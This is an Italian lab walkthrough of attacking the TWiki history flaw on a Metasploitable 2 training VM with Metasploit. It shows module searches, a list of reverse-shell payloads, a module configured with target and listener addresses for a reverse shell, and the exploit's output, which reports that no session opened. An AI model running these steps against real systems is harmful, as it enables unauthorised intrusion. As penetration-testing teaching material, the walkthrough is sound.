

Vulnerabilità con Twiki su metasploitable 2...Lanciamo il Tool msfconsole, cerchiamo la vulnerabilità grazie alla scansione con nessus, “Twiki” ha un rischio Critical.

```

lucas@kali: ~
File Azioni Modifica Visualizza Aiuto
(lucas@kali)-[~]
$ msfconsole - Python - Nessus-70...
Metasploit v6.3.10-dev
+ -- 2306 exploits - 1205 auxiliary - 412 post
+ -- 968 payloads - 46 encoders - 11 nops
+ -- 9 evasion

Metasploit tip: Metasploit can be configured at startup, see
msfconsole --help to learn more
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search Twiki

--: Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/unix/webapp/moinmoin_twikidraw 2012-12-30 manual Yes MoinMoin twikidraw Action Traversal File
1 exploit/unix/http/twiki_debug_plugins 2014-10-09 excellent Yes TWiki Debugenableplugins Remote Code Exe
2 exploit/unix/webapp/twiki_history 2005-09-14 excellent Yes TWiki History TWikiUsers rev Parameter C
3 exploit/unix/webapp/twiki_maketext 2012-12-15 excellent Yes TWiki MAKETEXT Remote Command Execution
4 exploit/unix/webapp/twiki_search 2004-10-01 excellent Yes TWiki Search Function Arbitrary Command

Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/twiki_search

```

Una volta configurato l’exploit, dobbiamo scegliere il payload, con il comando search possiamo acquisire una lista di tutti i payload disponibili.

```

msf6 exploit(unix/webapp/twiki_history) > search payload cmd/unix/reverse

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/multi/postgres/postgres_copy_from_program_cmd_exec 2019-03-20 excellent Yes PostgreSQL COPY FRO
1 exploit/unix/local/setuid_nmap 2012-07-19 excellent Yes Setuid Nmap Exploit
2 payload/cmd/unix/reverse 2012-07-19 excellent Yes Unix Command Shell,
3 payload/cmd/unix/reverse_openssl normal No Unix Command Shell,
4 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell,
5 payload/cmd/unix/reverse_bash normal No Unix Command Shell,
6 payload/cmd/unix/reverse_stub normal No Unix Command Shell,
7 payload/cmd/unix/reverse_awk normal No Unix Command Shell,
8 payload/cmd/unix/reverse_ksh normal No Unix Command Shell,
9 payload/cmd/unix/reverse_lua normal No Unix Command Shell,
10 payload/cmd/unix/reverse_perl normal No Unix Command Shell,
11 payload/cmd/unix/reverse_python normal No Unix Command Shell,
12 payload/cmd/unix/reverse_r normal No Unix Command Shell,
13 payload/cmd/unix/reverse_ruby normal No Unix Command Shell,
14 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell,
15 payload/cmd/unix/reverse_zsh normal No Unix Command Shell,
16 payload/cmd/unix/reverse_jjs normal No Unix Command Shell,
17 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell,
18 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell,
19 payload/cmd/unix/reverse_netcat normal No Unix Command Shell,
20 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell,

```

Configuriamo il payload scelto con il comando set.

```
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):

  Name      Current Setting  Required  Description
  ---      -
  Proxies    192.168.1.40    yes       A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     192.168.1.40    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      80              yes       The target port (TCP)
  SSL        false           no        Negotiate SSL/TLS for outgoing connections
  URI        /twiki/bin      yes       Twiki bin directory path
  VHOST      no              no        HTTP server virtual host

Payload options (cmd/unix/reverse):

  Name      Current Setting  Required  Description
  ---      -
  LHOST     192.168.1.25    yes       The listen address (an interface may be specified)
  LPORT     23              yes       The listen port

Exploit target:

  Id  Name
  --  ---
  0    Automatic

View the full module info with the info, or info -d command.
```

Una volta configurato il payload possiamo lanciare l'exploit

```
[*] Started reverse TCP double handler on 192.168.1.25:23
[+] Successfully sent exploit request
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/twiki_history) >
```

Qui in figura possiamo capire che l'exploit è stato eseguito con successo ma non ci restituisce la shell sul terminale, ma possiamo utilizzarlo direttamente sul browser.

Come in figura in basso.

